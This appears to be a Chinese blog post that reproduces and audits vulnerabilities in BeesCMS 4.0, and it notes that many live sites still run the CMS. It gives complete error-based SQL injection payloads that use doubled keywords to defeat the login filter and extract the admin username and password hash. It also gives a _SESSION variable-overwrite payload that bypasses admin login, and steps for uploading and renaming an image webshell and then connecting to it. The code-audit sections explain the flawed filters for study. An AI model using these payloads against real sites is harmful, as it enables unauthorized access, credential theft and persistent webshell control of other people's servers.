BeesCMS4.0多處漏洞復現

前言

本次復現的漏洞有:

  1. 後臺報錯注入漏洞
  2. 變量覆蓋漏洞
  3. 文件上傳漏洞

Beescms v4.0由於後臺登錄設計缺陷以及代碼防護缺陷導致存在bypass全局防護的SQL注入、文件上傳、變量覆蓋漏洞。現在依然有許多企業選用BeesCMS4.0,百度搜powerd by BEESCMS © 2010-2015 www.beescms.com 還是有很多站的:

在這裏插入圖片描述

漏洞復現

後臺報錯注入

正常輸入後臺賬號密碼提示密碼錯誤:
在這裏插入圖片描述在這裏插入圖片描述

輸入admin’報錯,此處爲顯錯注入:

admin'

在這裏插入圖片描述
使用order by 10探測字段長度,最終探測長度爲5

order by 5#

在這裏插入圖片描述

order by 6#

在這裏插入圖片描述

爆數據庫名時and被過濾,採用空格+雙寫繞過:

admin' an and d updatexml(1,concat(0x7e,select database(),0x7e),1)#

在這裏插入圖片描述在這裏插入圖片描述

查表名時from、where、=被過濾:
在這裏插入圖片描述

依然採用空格+雙寫繞過:

第一張表:-admin' an and d updatexml(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'bees' limit 0,1),0x7e),1)#

在這裏插入圖片描述

第二章表:-admin' an and d updatexml(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'bees' limit 1,1),0x7e),1)#

在這裏插入圖片描述

爆列名:

列名1:admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e),1)#

在這裏插入圖片描述

列名2:admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 2,1),0x7e),1)#

在這裏插入圖片描述

爆字段:

字段1:admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_name fr from om bees.bees_admin limit 0,1),0x7e),1)#

在這裏插入圖片描述

字段2:admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_password fr from om bees.bees_admin limit 0,1),0x7e),1)#

在這裏插入圖片描述

代碼審計

login.php

首先看一下後臺的login.php,這裏定義了f1_value()和f1_html()兩個函數來進行過濾:
在這裏插入圖片描述
這兩個函數在fun.php文件中,跟進看一下這他們的內容:
在這裏插入圖片描述
f1_value()對用戶輸入的字符串進行了比較嚴格的過濾,很多手注的關鍵字跟特殊符號都被過濾了,但也只是過濾一次,雙寫依然可以bypass。

f1_html()調用了htmlspecialchars()函數,它的作用是把特殊字符進行html實體轉義,看似加了一道屏障,實則是加了一處隱患,這個函數雖然也轉義’但是轉義之後仍然是’,這樣就造成了後臺的一個報錯注入:
在這裏插入圖片描述

這樣雙寫+f1_html漏洞就成功的讓我們進行手注來拿後臺賬號密碼了,後期要想寫shell,只需要將shell內容進行Hex編碼即可繞過htmlspecialchars()函數

upload.php

這裏還有一個文件上傳漏洞,我們看一下源碼,我們上傳的文件是經過is_uploaded_file()函數來檢測的:
在這裏插入圖片描述
跟進看一下,這裏對文件type進行了白名單檢測,所以我們只要修改一下Content-Type爲image/jpg,即可繞過,下文我會繼續復現此漏洞。

Init.php

這裏存在一個變量覆蓋,具體效果就是覆蓋_SESSION來繞過後臺登錄驗證,這裏定義了一個is_login()函數來檢測登錄:
在這裏插入圖片描述
跟進is_login(),也是在fun.php裏:
在這裏插入圖片描述
這裏只要_SESSION[login_in]=1並且_SESSION[admin]=1和_SESSION[login_time]<3600就相當於你已經登錄後臺了,而它是先初始化變量,在進行登陸判斷,又沒有對http請求進行設置,所以導致前臺POST覆蓋變量直接登錄後臺。

在這裏插入圖片描述

GetShell

變量覆蓋
Exp:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

在這裏插入圖片描述訪問/admin成功繞過登陸驗證:
在這裏插入圖片描述

文件上傳

這裏在測試的時候出現了問題!雖然我修改了Content-Type,但是上傳依然沒有成功,我發現無論是.jpg還是.php,它的Content-Type都是multipart/form-data,於是我試了試先傳一個圖片,然後在修改後綴名,改爲.php,結果竟然成功了!

先傳一個圖片馬:
在這裏插入圖片描述
上傳成功後修改後綴名突破上傳:
在這裏插入圖片描述
而且我發現,上傳的木馬跟圖片的名字是一樣的,也就是說你只需要更改上傳圖片的後綴名即可,這個系統對上傳的文件名進行了更改處理,這樣一來也不需要去分析上傳的時間了!
在這裏插入圖片描述
在這裏插入圖片描述
蟻劍連接:

在這裏插入圖片描述
注:本文僅供參考學習,請勿在網上搞破壞,觸犯法律者應承擔相應的法律責任!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章